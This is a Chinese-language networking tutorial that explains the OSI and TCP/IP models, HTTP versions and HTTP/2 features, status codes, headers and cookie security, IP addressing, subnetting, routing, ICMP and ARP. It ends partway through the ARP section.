网络知识详情
1. 网络基础概念
什么是网络
计算机网络是指将地理位置不同的、具有独立功能的多台计算机及其外部设备,通过通信线路连接起来,在网络操作系统、网络管理软件及网络通信协议的管理和协调下,实现资源共享和信息传递的计算机系统。
2. OSI 七层模型
OSI(Open Systems Interconnection)参考模型是国际标准化组织(ISO)制定的网络通信标准框架,将网络通信过程分为七个层次:
| 层次 | 名称 | 功能 | 协议示例 |
|---|---|---|---|
| 7 | 应用层 | 为应用程序提供网络服务接口 | HTTP, FTP, SMTP, DNS |
| 6 | 表示层 | 数据格式化、加密解密 | SSL/TLS, JPEG, ASCII |
| 5 | 会话层 | 建立、管理和终止会话 | RPC, NetBIOS |
| 4 | 传输层 | 端到端的数据传输 | TCP, UDP |
| 3 | 网络层 | 路由选择和逻辑寻址 | IP, ICMP, ARP |
| 2 | 数据链路层 | 帧同步、差错控制 | Ethernet, MAC |
| 1 | 物理层 | 比特流传输 | RJ45, 光纤 |
第 7 层:应用层(Application Layer)
应用层是 OSI 模型的最高层,直接为用户的应用程序提供网络服务接口。
主要功能:
- 为应用程序提供网络服务接口
- 处理用户界面和数据表示
- 提供文件传输、电子邮件、远程登录等服务
常见协议:
- HTTP/HTTPS:超文本传输协议
- FTP:文件传输协议
- SMTP/POP3/IMAP:电子邮件协议
- DNS:域名系统
- SSH:安全外壳协议
- Telnet:远程登录协议
数据单元:数据
应用示例:
用户打开浏览器访问 www.example.com
↓
应用层生成HTTP请求
↓
GET /index.html HTTP/1.1
Host: www.example.com第 6 层:表示层(Presentation Layer)
表示层负责数据的格式化、加密和解密,确保一个系统的应用层发送的数据能被另一个系统的应用层读取。
主要功能:
- 数据格式转换(如 ASCII 到 EBCDIC)
- 数据加密和解密
- 数据压缩和解压缩
- 字符编码转换
常见协议:
- SSL/TLS:安全套接字层/传输层安全
- JPEG、GIF、PNG:图像格式
- MPEG、AVI:视频格式
- ASCII、Unicode:字符编码
数据单元:数据
应用示例:
应用层数据:"Hello World"
↓
表示层处理:
- 字符编码:UTF-8
- 压缩:Gzip
- 加密:AES-256
↓
加密后的二进制数据第 5 层:会话层(Session Layer)
会话层负责建立、管理和终止应用程序之间的会话。
主要功能:
- 建立、维护和终止会话
- 会话同步和检查点
- 对话控制(全双工、半双工、单工)
- 会话恢复
常见协议:
- RPC:远程过程调用
- NetBIOS:网络基本输入/输出系统
- SMB:服务器消息块
- NFS:网络文件系统
数据单元:数据
应用示例:
建立会话
↓
会话层:创建会话ID,分配资源
↓
数据传输:维护会话状态
↓
会话层:检查点保存(用于恢复)
↓
终止会话:释放资源第 4 层:传输层(Transport Layer)
传输层提供端到端的通信服务,确保数据可靠、有序地传输。
主要功能:
- 端到端的连接控制
- 流量控制
- 差错控制
- 数据分段和重组
- 多路复用
常见协议:
- TCP:传输控制协议(可靠、面向连接)
- UDP:用户数据报协议(不可靠、无连接)
数据单元:段(Segment)或数据报(Datagram)
应用示例:
应用层数据(10000字节)
↓
传输层分段:
- 段1:1460字节(MSS)
- 段2:1460字节
- 段3:1460字节
- 段4:1460字节
- 段5:1460字节
- 段6:1460字节
- 段7:1460字节
- 段8:1200字节
↓
每段添加TCP头部(20字节)
↓
发送到网络层第 3 层:网络层(Network Layer)
网络层负责数据包的路由选择和逻辑寻址,将数据包从源地址传输到目的地址。
主要功能:
- 逻辑寻址(IP 地址)
- 路由选择
- 分组和重组
- 拥塞控制
常见协议:
- IP:网际协议(IPv4、IPv6)
- ICMP:互联网控制消息协议
- ARP:地址解析协议
- RARP:反向地址解析协议
- OSPF、BGP:路由协议
数据单元:数据包(Packet)
应用示例:
传输层数据段(1480字节)
↓
网络层处理:
- 添加IP头部(20字节)
- 源IP:192.168.1.100
- 目的IP:93.184.216.34
- TTL:64
↓
IP数据包(1500字节)
↓
路由选择:
- 查找路由表
- 确定下一跳地址
↓
发送到数据链路层第 2 层:数据链路层(Data Link Layer)
数据链路层负责在相邻节点之间传输数据帧,提供可靠的链路通信。
主要功能:
- 物理寻址(MAC 地址)
- 帧同步
- 差错控制(CRC 校验)
- 流量控制
- 帧定界
常见协议:
- Ethernet:以太网
- PPP:点对点协议
- HDLC:高级数据链路控制
- Frame Relay:帧中继
- MAC:介质访问控制
数据单元:帧(Frame)
应用示例:
网络层数据包(1500字节)
↓
数据链路层处理:
- 添加以太网头部(14字节)
* 目的MAC:00:11:22:33:44:55
* 源MAC:AA:BB:CC:DD:EE:FF
* 类型:0x0800(IPv4)
- 添加FCS校验(4字节)
↓
以太网帧(1518字节)
↓
发送到物理层第 1 层:物理层(Physical Layer)
物理层负责在物理介质上传输原始的比特流,定义了电气、机械和功能规范。
主要功能:
- 定义物理设备标准(如网线、光纤)
- 定义电气特性(电压、电平)
- 定义机械特性(接口形状、引脚定义)
- 定义传输速率
- 比特同步
常见标准:
- RJ45:双绞线接口
- 光纤:光纤接口
- USB:通用串行总线
- Wi-Fi:无线局域网
- 蓝牙:短距离无线通信
数据单元:比特(Bit)
应用示例:
数据链路层帧(1518字节)
↓
物理层编码:
- 曼彻斯特编码
- NRZ编码
- 4B/5B编码
↓
电信号:
- 高电平(+5V)表示1
- 低电平(0V)表示0
↓
通过网线传输OSI 七层数据封装过程
应用层数据:"Hello World"
↓
表示层:加密、压缩
↓
会话层:添加会话信息
↓
传输层:添加TCP头部(源端口、目的端口)
↓
网络层:添加IP头部(源IP、目的IP)
↓
数据链路层:添加以太网头部和FCS
↓
物理层:转换为比特流
↓
传输介质OSI 七层数据解封装过程
传输介质
↓
物理层:接收比特流
↓
数据链路层:检查FCS,移除以太网头部
↓
网络层:检查IP校验和,移除IP头部
↓
传输层:检查TCP校验和,移除TCP头部
↓
会话层:管理会话
↓
表示层:解密、解压缩
↓
应用层:接收数据:"Hello World"OSI 模型与实际应用
数据传输示例:
// 用户访问网页的完整过程
const webAccessProcess = {
step1: "用户在浏览器输入 www.example.com",
step2: {
layer: "应用层",
action: "生成HTTP请求",
data: "GET /index.html HTTP/1.1",
},
step3: {
layer: "表示层",
action: "数据格式化和加密(HTTPS)",
data: "加密后的HTTP请求",
},
step4: {
layer: "会话层",
action: "建立SSL/TLS会话",
data: "会话ID: abc123",
},
step5: {
layer: "传输层",
action: "分段并添加TCP头部",
data: "TCP段(源端口: 54321, 目的端口: 443)",
},
step6: {
layer: "网络层",
action: "添加IP头部",
data: "IP数据包(源IP: 192.168.1.100, 目的IP: 93.184.216.34)",
},
step7: {
layer: "数据链路层",
action: "添加以太网帧头",
data: "以太网帧(目的MAC: 网关MAC, 源MAC: 本机MAC)",
},
step8: {
layer: "物理层",
action: "转换为电信号",
data: "比特流(01010101...)",
},
step9: "通过网线传输到路由器",
};TCP/IP 四层模型
TCP/IP 模型是实际应用中更常用的网络模型,将 OSI 七层简化为四层:
| TCP/IP 层次 | 对应 OSI 层次 | 主要协议 |
|---|---|---|
| 应用层 | 应用层、表示层、会话层 | HTTP, FTP, SMTP, DNS |
| 传输层 | 传输层 | TCP, UDP |
| 网际层 | 网络层 | IP, ICMP, ARP |
| 网络接口层 | 数据链路层、物理层 | Ethernet, Wi-Fi |
3. HTTP 协议详解
HTTP 概述
HTTP(HyperText Transfer Protocol,超文本传输协议)是应用层协议,用于在 Web 浏览器和 Web 服务器之间传输数据。HTTP 基于请求-响应模型工作,是无状态协议。
HTTP 请求-响应流程
客户端 服务器
│ │
│ 1. 发送HTTP请求 │
│ ────────────────────────────>│
│ GET /index.html HTTP/1.1 │
│ Host: www.example.com │
│ │
│ │ 2. 处理请求
│ │ (查找资源、执行业务逻辑)
│ │
│ 3. 返回HTTP响应 │
│ <────────────────────────────│
│ HTTP/1.1 200 OK │
│ Content-Type: text/html │
│ <html>...</html> │
│ │
│ 4. 解析并渲染页面 │
│ │HTTP 工作原理
HTTP 协议的工作过程可以分为以下几个步骤:
- 建立 TCP 连接:客户端与服务器之间建立 TCP 连接(通常使用 80 端口)
- 发送请求:客户端发送 HTTP 请求消息
- 处理请求:服务器接收并处理请求
- 返回响应:服务器返回 HTTP 响应消息
- 关闭连接:根据 Connection 头决定是否保持连接
// 完整的HTTP请求示例
const request = {
method: "GET",
url: "https://www.example.com/index.html",
headers: {
Host: "www.example.com",
"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)",
Accept: "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Accept-Language": "zh-CN,zh;q=0.9,en;q=0.8",
Connection: "keep-alive",
"Cache-Control": "max-age=0",
},
};
// 完整的HTTP响应示例
const response = {
status: 200,
statusText: "OK",
headers: {
"Content-Type": "text/html; charset=utf-8",
"Content-Length": "1234",
Date: "Wed, 16 Jan 2026 08:00:00 GMT",
Server: "nginx/1.18.0",
"Cache-Control": "public, max-age=3600",
ETag: '"33a64df551425fcc55e4d42a148795d9f25f89d4"',
},
body: "<!DOCTYPE html><html>...</html>",
};HTTP 版本演进
一、HTTP/0.9(1991 年)
最原始的 HTTP 版本,只支持 GET 方法,只能传输 HTML 文档。
GET /index.html- HTTP/0.9 (1991)
- 特点:最原始版本只支持 GET
- 连接:每次请求后关闭
- 复用:不支持
- 压缩:不支持
- 安全:无加密
- 性能:最低
二、HTTP/1.0(1996 年)
增加了 POST、HEAD 等方法,引入了 HTTP 头、状态码,支持多种内容类型。
GET /index.html HTTP/1.0
Host: www.example.com
User-Agent: Mozilla/5.0- HTTP/1.0 (1996)
- 特点:增加 POST、HEAD 等方法,引入 HTTP 头、状态码
- 连接:每次请求后关闭
- 复用:不支持
- 压缩:不支持
- 安全:无加密
- 性能:低
三、HTTP/1.1(1997 年)
引入了持久连接、分块传输编码、缓存控制、虚拟主机等特性,是目前最广泛使用的版本。
GET /index.html HTTP/1.1
Host: www.example.com
Connection: keep-alive
User-Agent: Mozilla/5.0
Accept: text/html,application/xhtml+xmlHTTP/1.1 (1997)
- 特点:持久连接、分块传输、缓存控制、虚拟主机
- 连接:支持持久连接(Connection: keep-alive)
- 复用:有限复用(串行请求)
- 压缩:支持(Accept-Encoding)
- 安全:支持 HTTPS
- 性能:中等(存在队头阻塞)
HTTP/1.1 vs HTTP/2 性能对比
HTTP/1.1 (串行请求)
- 请求流程:
- 请求 style.css → 返回 style.css (100ms)
- 请求 script.js → 返回 script.js (100ms)
- 请求 image.png → 返回 image.png (100ms)
- 总耗时:300ms (每个请求 100ms)
- 问题:队头阻塞,后一个请求必须等待前一个完成
HTTP/2 (并行请求)
- 请求流程:
- 同时请求所有资源 (style.css, script.js, image.png)
- 同时返回所有资源 (style.css, script.js, image.png)
- 总耗时:100ms (所有请求并行)
- 优势:多路复用,消除队头阻塞
四、HTTP/2(2015 年)
基于 SPDY 协议,引入了多路复用、头部压缩、服务器推送等特性,大幅提升了性能。
HTTP/2 核心特性
1. 二进制分帧层
HTTP/2 使用二进制格式传输数据,而不是 HTTP/1.x 的文本格式。
// HTTP/2 帧结构
const http2Frame = {
length: 9, // 帧长度(3字节)
type: 1, // 帧类型(1字节)
flags: 0x01, // 帧标志(1字节)
streamIdentifier: 1, // 流标识符(4字节)
framePayload: "帧内容", // 帧负载
};
// 帧类型
const frameTypes = {
0x0: "DATA", // 数据帧
0x1: "HEADERS", // 头部帧
0x2: "PRIORITY", // 优先级帧
0x3: "RST_STREAM", // 流重置帧
0x4: "SETTINGS", // 设置帧
0x5: "PUSH_PROMISE", // 推送承诺帧
0x6: "PING", // Ping帧
0x7: "GOAWAY", // Goaway帧
0x8: "WINDOW_UPDATE", // 窗口更新帧
0x9: "CONTINUATION", // 继续帧
};2. 多路复用
HTTP/2 允许在单个 TCP 连接上同时发送多个请求和响应,消除了 HTTP/1.x 的队头阻塞问题。
// HTTP/2 多路复用示例
const http2Multiplexing = {
description: "在单个TCP连接上同时传输多个流",
streams: [
{
id: 1,
type: "HEADERS",
path: "/style.css",
state: "OPEN",
},
{
id: 3,
type: "HEADERS",
path: "/script.js",
state: "OPEN",
},
{
id: 5,
type: "HEADERS",
path: "/image.png",
state: "OPEN",
},
],
advantage: "消除队头阻塞,提高连接利用率",
};
// HTTP/1.1 vs HTTP/2 对比
const comparison = {
http11: {
connections: 6,
requests: [
"请求1 → 响应1",
"请求2 → 响应2",
"请求3 → 响应3",
"请求4 → 响应4",
"请求5 → 响应5",
"请求6 → 响应6",
],
totalTime: "600ms (每个请求100ms)",
},
http2: {
connections: 1,
requests: [
"请求1, 请求2, 请求3, 请求4, 请求5, 请求6 (并行)",
"响应1, 响应2, 响应3, 响应4, 响应5, 响应6 (并行)",
],
totalTime: "100ms (所有请求并行)",
},
};3. 头部压缩(HPACK)
HTTP/2 使用 HPACK 算法压缩 HTTP 头部,减少传输数据量。
// HPACK 压缩原理
const hpackCompression = {
description: "使用静态表、动态表和Huffman编码压缩头部",
// 静态表(预定义的常见头部)
staticTable: {
1: ":method GET",
2: ":method POST",
3: ":path /",
4: ":path /index.html",
5: ":scheme http",
6: ":scheme https",
7: ":authority www.example.com",
8: "user-agent",
9: "accept",
10: "accept-encoding",
// ... 共61个静态表项
},
// 动态表(动态添加的头部)
dynamicTable: {
maxSize: 4096, // 默认4KB
entries: [],
addEntry(header) {
this.entries.unshift(header);
if (this.calculateSize() > this.maxSize) {
this.evictEntries();
}
},
calculateSize() {
return this.entries.reduce((sum, entry) => sum + entry.size, 0);
},
evictEntries() {
while (this.calculateSize() > this.maxSize) {
this.entries.pop();
}
},
},
// 压缩示例
compressionExample: {
original: [
":method GET",
":path /index.html",
":scheme https",
":authority www.example.com",
"user-agent Mozilla/5.0",
"accept text/html",
],
compressed: [
"0x82", // 索引2 (:method GET)
"0x84", // 索引4 (:path /index.html)
"0x87", // 索引7 (:authority www.example.com)
"0x85", // 索引5 (:scheme https)
// user-agent和accept使用Huffman编码
],
compressionRatio: "约80%",
},
};4. 服务器推送(Server Push)
服务器可以在客户端请求之前主动推送资源,减少延迟。
// HTTP/2 服务器推送示例
const serverPush = {
description: "服务器主动推送客户端可能需要的资源",
// 推送流程
process: {
step1: "客户端请求 /index.html",
step2: "服务器解析HTML,发现需要 /style.css 和 /script.js",
step3: "服务器推送 /style.css 和 /script.js",
step4: "客户端接收推送的资源",
step5: "客户端返回 /index.html",
},
// 推送帧
pushPromiseFrame: {
type: "PUSH_PROMISE",
promisedStreamId: 2, // 推送的流ID
headers: {
":method": "GET",
":path": "/style.css",
":scheme": "https",
":authority": "www.example.com",
},
},
// Node.js HTTP/2 服务器推送示例
nodejsExample: `
const http2 = require('http2');
const fs = require('fs');
const server = http2.createSecureServer({
key: fs.readFileSync('server.key'),
cert: fs.readFileSync('server.crt'),
});
server.on('stream', (stream, headers) => {
if (headers[':path'] === '/index.html') {
// 推送CSS文件
const pushStream = stream.pushStream({
':path': '/style.css',
});
fs.createReadStream('./public/style.css').pipe(pushStream);
// 推送JS文件
const pushStream2 = stream.pushStream({
':path': '/script.js',
});
fs.createReadStream('./public/script.js').pipe(pushStream2);
// 发送HTML文件
fs.createReadStream('./public/index.html').pipe(stream);
}
});
server.listen(8443);
`,
};5. 流优先级
HTTP/2 允许客户端指定流的优先级,服务器根据优先级分配资源。
// 流优先级示例
const streamPriority = {
description: "每个流可以设置优先级,影响资源分配",
// 优先级参数
priority: {
streamId: 3,
exclusive: false, // 是否独占父流
dependsOn: 0, // 依赖的流ID(0表示不依赖)
weight: 16, // 权重(1-256)
},
// 优先级树示例
priorityTree: {
stream0: {
id: 0,
description: "根流",
children: [
{
id: 1,
weight: 16,
description: "HTML文件",
children: [],
},
{
id: 3,
weight: 32,
description: "CSS文件",
children: [],
},
{
id: 5,
weight: 16,
description: "JS文件",
children: [
{
id: 7,
weight: 8,
description: "次要JS",
},
{
id: 9,
weight: 8,
description: "次要JS",
},
],
},
],
},
},
// 资源分配计算
resourceAllocation: {
description: "根据权重分配带宽",
example: `
总带宽:100Mbps
流1(HTML,权重16):16 / (16+32+16) * 100 = 25Mbps
流3(CSS,权重32):32 / (16+32+16) * 100 = 50Mbps
流5(JS,权重16):16 / (16+32+16) * 100 = 25Mbps
流5的子流:
流7:8 / (8+8) * 25 = 12.5Mbps
流9:8 / (8+8) * 25 = 12.5Mbps
`,
},
};HTTP/2 配置示例
Nginx 配置:
server {
listen 443 ssl http2;
server_name www.example.com;
ssl_certificate /etc/ssl/certs/example.com.crt;
ssl_certificate_key /etc/ssl/private/example.com.key;
# HTTP/2 推送
http2_push /style.css;
http2_push /script.js;
# HTTP/2 设置
http2_recv_timeout 60s;
http2_idle_timeout 120s;
http2_max_requests 1000;
http2_max_concurrent_streams 128;
location / {
root /var/www/html;
index index.html;
}
}Node.js 配置:
const http2 = require("http2");
const fs = require("fs");
// 创建HTTP/2服务器
const server = http2.createSecureServer({
key: fs.readFileSync("server.key"),
cert: fs.readFileSync("server.crt"),
allowHTTP1: true, // 允许HTTP/1.1回退
settings: {
enablePush: true, // 启用服务器推送
maxConcurrentStreams: 100, // 最大并发流数
initialWindowSize: 65535, // 初始窗口大小
maxFrameSize: 16384, // 最大帧大小
maxHeaderListSize: 65536, // 最大头部列表大小
},
});
server.on("stream", (stream, headers) => {
stream.respond({
"content-type": "text/html",
":status": 200,
});
stream.end("<h1>Hello HTTP/2!</h1>");
});
server.listen(8443);HTTP/2 (2015)
- 特点:多路复用、头部压缩、服务器推送
- 连接:多路复用(单连接多请求)
- 复用:完全复用(并行请求)
- 压缩:支持 HPACK 头部压缩
- 安全:强制 HTTPS
- 性能:高(解决队头阻塞)
五、HTTP/3(2022 年)
基于 QUIC 协议(UDP),解决了 HTTP/2 的队头阻塞问题,进一步提升了性能和可靠性。
- HTTP/3 (2022)
- 特点:基于 QUIC(UDP),解决 HTTP/2 队头阻塞
- 连接:基于 UDP 的 QUIC 连接
- 复用:完全复用(独立流)
- 压缩:支持 QPACK 头部压缩
- 安全:强制 TLS 1.3
- 性能:最高(连接迁移、0-RTT)
HTTP 请求方法
| 方法 | 描述 | 是否幂等 | 是否安全 |
|---|---|---|---|
| GET | 获取资源 | 是 | 是 |
| POST | 创建资源 | 否 | 否 |
| PUT | 更新资源(完整更新) | 是 | 否 |
| PATCH | 更新资源(部分更新) | 否 | 否 |
| DELETE | 删除资源 | 是 | 否 |
| HEAD | 获取响应头 | 是 | 是 |
| OPTIONS | 获取服务器支持的 HTTP 方法 | 是 | 是 |
| CONNECT | 建立隧道连接 | 否 | 否 |
| TRACE | 回显服务器收到的请求 | 是 | 是 |
GET vs POST
// GET请求示例
fetch("https://api.example.com/users?id=123", {
method: "GET",
headers: {
"Content-Type": "application/json",
},
});
// POST请求示例
fetch("https://api.example.com/users", {
method: "POST",
headers: {
"Content-Type": "application/json",
},
body: JSON.stringify({
name: "张三",
email: "zhangsan@example.com",
}),
});GET 特点:
- 参数通过 URL 传递,有长度限制
- 可被缓存、书签收藏
- 不应该用于修改服务器状态
- 幂等性:多次请求结果相同
POST 特点:
- 参数放在请求体中,无长度限制
- 不可缓存
- 用于创建或修改资源
- 非幂等性:多次请求可能产生不同结果
HTTP 状态码
1xx 信息响应
| 状态码 | 描述 |
|---|---|
| 100 Continue | 服务器已收到请求头,客户端应继续发送请求体 |
| 101 Switching Protocols | 服务器同意切换协议 |
| 102 Processing | 服务器正在处理请求 |
2xx 成功响应
| 状态码 | 描述 |
|---|---|
| 200 OK | 请求成功 |
| 201 Created | 资源创建成功 |
| 202 Accepted | 请求已接受,但尚未处理完成 |
| 204 No Content | 请求成功,但无返回内容 |
| 206 Partial Content | 部分内容(断点续传) |
3xx 重定向
| 状态码 | 描述 |
|---|---|
| 301 Moved Permanently | 资源永久重定向 |
| 302 Found | 资源临时重定向 |
| 304 Not Modified | 资源未修改,可使用缓存 |
| 307 Temporary Redirect | 临时重定向(保持请求方法) |
| 308 Permanent Redirect | 永久重定向(保持请求方法) |
4xx 客户端错误
| 状态码 | 描述 |
|---|---|
| 400 Bad Request | 请求参数错误 |
| 401 Unauthorized | 未授权,需要身份验证 |
| 403 Forbidden | 禁止访问 |
| 404 Not Found | 资源不存在 |
| 405 Method Not Allowed | 请求方法不允许 |
| 409 Conflict | 请求冲突 |
| 429 Too Many Requests | 请求过多,被限流 |
5xx 服务器错误
| 状态码 | 描述 |
|---|---|
| 500 Internal Server Error | 服务器内部错误 |
| 501 Not Implemented | 服务器不支持该功能 |
| 502 Bad Gateway | 网关错误 |
| 503 Service Unavailable | 服务不可用 |
| 504 Gateway Timeout | 网关超时 |
HTTP 请求头
一、 通用请求头
Cache-Control: no-cache
Connection: keep-alive
Date: Wed, 16 Jan 2026 08:00:00 GMT
Pragma: no-cache二、 请求请求头
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...
Content-Type: application/json
Cookie: session_id=abc123; user_pref=dark
Host: www.example.com
Origin: https://www.example.com
Referer: https://www.example.com/home
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)三、 响应请求头
Access-Control-Allow-Origin: *
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Cache-Control: max-age=3600
Content-Encoding: gzip
Content-Type: application/json; charset=utf-8
ETag: "33a64df551425fcc55e4d42a148795d9f25f89d4"
Last-Modified: Wed, 16 Jan 2026 08:00:00 GMT
Location: https://www.example.com/new-location
Server: nginx/1.18.0
Set-Cookie: session_id=abc123; Path=/; HttpOnly; Secure; SameSite=Strict四、 Cookie 属性详解
Set-Cookie: name=value; 属性 1; 属性 2; 属性 3
基本属性
- name=value: Cookie 的名称和值
- Domain: 指定 Cookie 的域名
- Path: 指定 Cookie 的路径
- 示例:Path=/
- Expires: 指定 Cookie 的过期时间
- 示例:Expires=Wed, 16 Jan 2027 08:00:00 GMT
安全属性
- Secure: 只通过 HTTPS 传输
- 示例:Secure
- HttpOnly: 防止 JavaScript 访问 Cookie(防 XSS)
- 示例:HttpOnly
- SameSite: 控制 Cookie 的跨站发送(防 CSRF)
- Strict: 只在同站请求中发送
- Lax: 在同站和部分跨站请求中发送(如 GET)
- None: 在所有请求中发送(需要 Secure)
其他属性
- Max-Age: Cookie 的最大生存时间(秒)
- 示例:Max-Age=3600
- Priority: Cookie 的优先级(Chrome 特有)
- 示例:Priority=High
五、 Cookie 安全配置示例
// 安全Cookie配置
const secureCookieConfig = {
// 1. 基本配置
name: "session_id",
value: "abc123",
// 2. 安全属性
httpOnly: true, // 防止JavaScript访问(防XSS)
secure: true, // 只通过HTTPS传输
sameSite: "strict", // 防止跨站请求(防CSRF)
// 3. 生命周期
maxAge: 3600000, // 1小时后过期
expires: new Date(Date.now() + 3600000),
// 4. 作用域
domain: ".example.com", // 子域名共享
path: "/", // 整个网站有效
};
// Express设置安全Cookie
res.cookie("session_id", "abc123", {
httpOnly: true,
secure: true,
sameSite: "strict",
maxAge: 3600000,
domain: ".example.com",
path: "/",
});
// 不同场景的Cookie配置
const cookieConfigs = {
sessionCookie: {
description: "会话Cookie",
config: {
httpOnly: true,
secure: true,
sameSite: "strict",
maxAge: 3600000,
},
reason: "需要最高安全性,防止XSS和CSRF",
},
trackingCookie: {
description: "追踪Cookie",
config: {
httpOnly: false,
secure: true,
sameSite: "lax",
maxAge: 31536000000, // 1年
},
reason: "需要JavaScript访问,使用Lax平衡安全性和用户体验",
},
preferenceCookie: {
description: "用户偏好Cookie",
config: {
httpOnly: false,
secure: false,
sameSite: "lax",
maxAge: 31536000000, // 1年
},
reason: "不需要高安全性,可以长期存储",
},
};HTTPS 与 SSL/TLS
HTTPS(HTTP Secure)是 HTTP 的安全版本,通过 SSL/TLS 协议加密 HTTP 通信。
SSL/TLS 握手过程
// 简化的TLS握手过程
1. Client Hello: 客户端发送支持的加密套件和随机数
2. Server Hello: 服务器选择加密套件,发送证书和随机数
3. Certificate Verify: 客户端验证服务器证书
4. Key Exchange: 客户端生成预主密钥,用服务器公钥加密发送
5. Finished: 双方生成会话密钥,开始加密通信4. TCP/IP 协议详解
IP 协议
IP(Internet Protocol,网际协议)是网络层的核心协议,负责在网络中寻址和路由数据包。
IP 协议特点
- 无连接:不建立连接,直接发送数据包
- 不可靠:不保证数据包可靠到达
- 尽最大努力交付:尽力传输,但不保证成功
- 分组交换:将数据分成多个数据包传输
IPv4 地址
IPv4 地址是 32 位的二进制数,通常用点分十进制表示。
IPv4 地址分类:
const ipv4AddressClasses = {
A类: {
range: "1.0.0.0 - 126.255.255.255",
networkBits: 8,
hostBits: 24,
defaultSubnetMask: "255.0.0.0",
networks: "126个",
hostsPerNetwork: "16,777,214个",
usage: "大型网络",
example: "10.0.0.1",
},
B类: {
range: "128.0.0.0 - 191.255.255.255",
networkBits: 16,
hostBits: 16,
defaultSubnetMask: "255.255.0.0",
networks: "16,384个",
hostsPerNetwork: "65,534个",
usage: "中型网络",
example: "172.16.0.1",
},
C类: {
range: "192.0.0.0 - 223.255.255.255",
networkBits: 24,
hostBits: 8,
defaultSubnetMask: "255.255.255.0",
networks: "2,097,152个",
hostsPerNetwork: "254个",
usage: "小型网络",
example: "192.168.1.1",
},
D类: {
range: "224.0.0.0 - 239.255.255.255",
usage: "组播(Multicast)",
example: "224.0.0.1",
},
E类: {
range: "240.0.0.0 - 255.255.255.255",
usage: "保留地址",
example: "240.0.0.1",
},
};特殊 IPv4 地址:
const specialIPv4Addresses = {
"0.0.0.0": "表示本机所有IP地址",
"127.0.0.1": "回环地址,表示本机",
"255.255.255.255": "广播地址",
"169.254.0.0/16": "链路本地地址(DHCP失败时自动分配)",
"10.0.0.0/8": "私有地址A类",
"172.16.0.0/12": "私有地址B类",
"192.168.0.0/16": "私有地址C类",
};IPv6 地址
IPv6 地址是 128 位的二进制数,通常用冒号分隔的十六进制表示。
IPv6 地址格式:
// IPv6地址示例
const ipv6Examples = {
full: "2001:0db8:85a3:0000:0000:8a2e:0370:7334",
compressed: "2001:db8:85a3::8a2e:370:7334", // 压缩连续的0
loopback: "::1", // 回环地址
unspecified: "::", // 未指定地址
private: "fc00::/7", // 私有地址
linkLocal: "fe80::/10", // 链路本地地址
};IPv4 到 IPv6 的转换:
// IPv4映射的IPv6地址
const ipv4MappedIPv6 = "::ffff:192.0.2.1";
// IPv4兼容的IPv6地址(已弃用)
const ipv4CompatibleIPv6 = "::192.0.2.1";子网划分
子网划分是将一个网络划分成多个更小的网络,提高网络管理效率。
子网掩码:
// 子网掩码示例
const subnetMasks = {
"/8": "255.0.0.0",
"/16": "255.255.0.0",
"/24": "255.255.255.0",
"/30": "255.255.255.252", // 用于点对点连接
"/32": "255.255.255.255", // 单个主机
};
// 子网划分示例
const subnettingExample = {
network: "192.168.1.0/24",
original: {
networkAddress: "192.168.1.0",
broadcastAddress: "192.168.1.255",
totalHosts: 256,
usableHosts: 254,
},
divided: {
subnets: 4,
newMask: "/26",
newSubnetMask: "255.255.255.192",
hostsPerSubnet: 64,
usableHostsPerSubnet: 62,
subnetsList: [
"192.168.1.0/26",
"192.168.1.64/26",
"192.168.1.128/26",
"192.168.1.192/26",
],
},
};IP 路由
IP 路由是决定数据包从源地址到目的地址的路径的过程。
路由表:
// 路由表示例
const routingTable = [
{
destination: "192.168.1.0",
netmask: "255.255.255.0",
gateway: "0.0.0.0",
interface: "eth0",
metric: 100,
description: "直连网络",
},
{
destination: "0.0.0.0",
netmask: "0.0.0.0",
gateway: "192.168.1.1",
interface: "eth0",
metric: 100,
description: "默认网关",
},
];
// 路由查找过程
function findRoute(destinationIP, routingTable) {
let bestRoute = null;
let longestPrefix = 0;
for (const route of routingTable) {
const prefixLength = calculatePrefixLength(route.netmask);
if (isInNetwork(destinationIP, route.destination, route.netmask)) {
if (prefixLength > longestPrefix) {
longestPrefix = prefixLength;
bestRoute = route;
}
}
}
return bestRoute;
}路由协议:
const routingProtocols = {
RIP: {
name: "Routing Information Protocol",
type: "距离向量路由协议",
metric: "跳数(最大15跳)",
convergence: "慢",
usage: "小型网络",
},
OSPF: {
name: "Open Shortest Path First",
type: "链路状态路由协议",
metric: "带宽",
convergence: "快",
usage: "中型到大型网络",
},
BGP: {
name: "Border Gateway Protocol",
type: "路径向量路由协议",
metric: "AS路径、策略",
convergence: "慢",
usage: "互联网核心路由",
},
};ICMP 协议
ICMP(Internet Control Message Protocol,互联网控制消息协议)用于传递错误信息和网络状态信息。
ICMP 消息类型:
const icmpMessageTypes = {
echoReply: {
type: 0,
name: "Echo Reply",
description: "Ping响应",
},
destinationUnreachable: {
type: 3,
name: "Destination Unreachable",
codes: {
0: "网络不可达",
1: "主机不可达",
2: "协议不可达",
3: "端口不可达",
},
},
sourceQuench: {
type: 4,
name: "Source Quench",
description: "拥塞控制(已弃用)",
},
redirect: {
type: 5,
name: "Redirect",
description: "重定向路由",
},
echoRequest: {
type: 8,
name: "Echo Request",
description: "Ping请求",
},
timeExceeded: {
type: 11,
name: "Time Exceeded",
codes: {
0: "TTL超时",
1: "分片重组超时",
},
},
};Ping 工作原理:
主机A 主机B
│ │
│ 1. ICMP Echo Request │
│ ────────────────────────────>│
│ Type=8, ID=1234, Seq=1 │
│ │
│ │ 2. 处理Echo Request
│ │
│ │ 3. ICMP Echo Reply
│ │ <────────────────────────────
│ │ Type=0, ID=1234, Seq=1
│ │
│ 4. 计算往返时间 │
│ RTT = T4 - T1 │ARP 协议
ARP(Address Resolution Protocol,地址解析协议)用于将 IP 地址解析为 MAC 地址。
ARP 工作流程:
主机A 主机B
│ │
│ 1. 需要发送数据到192.168.1.2│
│ │
│ 2. 查询ARP缓存 │
│ 未找到192.168.1.2的MAC │
│ │
│ 3. 广播ARP请求 │
│ ────────────────────────────>│
│ "谁有192.168.1.2?" │
│ (广播到所有主机) │
│ │
│ │ 4. 检查IP地址
